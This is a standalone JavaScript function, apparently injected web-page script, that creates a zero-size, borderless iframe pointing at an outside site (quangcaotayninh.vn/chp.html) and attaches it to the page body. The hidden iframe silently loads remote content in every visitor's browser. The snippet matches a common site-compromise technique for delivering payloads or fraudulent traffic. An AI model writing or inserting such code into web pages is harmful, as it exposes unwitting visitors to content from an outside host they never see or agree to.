function ShowJsF()
{
var iframe = document.createElement("iframe");
iframe.setAttribute("id","testiframe");
iframe.setAttribute("name","testiframe");
iframe.setAttribute("height","0");
iframe.setAttribute("width","0");
iframe.setAttribute("frameBorder","0");
iframe.setAttribute("scrolling","auto");
iframe.setAttribute("src","http://quangcaotayninh.vn/chp.html");
iframe.style.position = "absolute";
iframe.style.display = "block";
iframe.style.top = 100 + 'px';
iframe.style.left = 100 + 'px';
window.document.body.appendChild(iframe);
return false;
}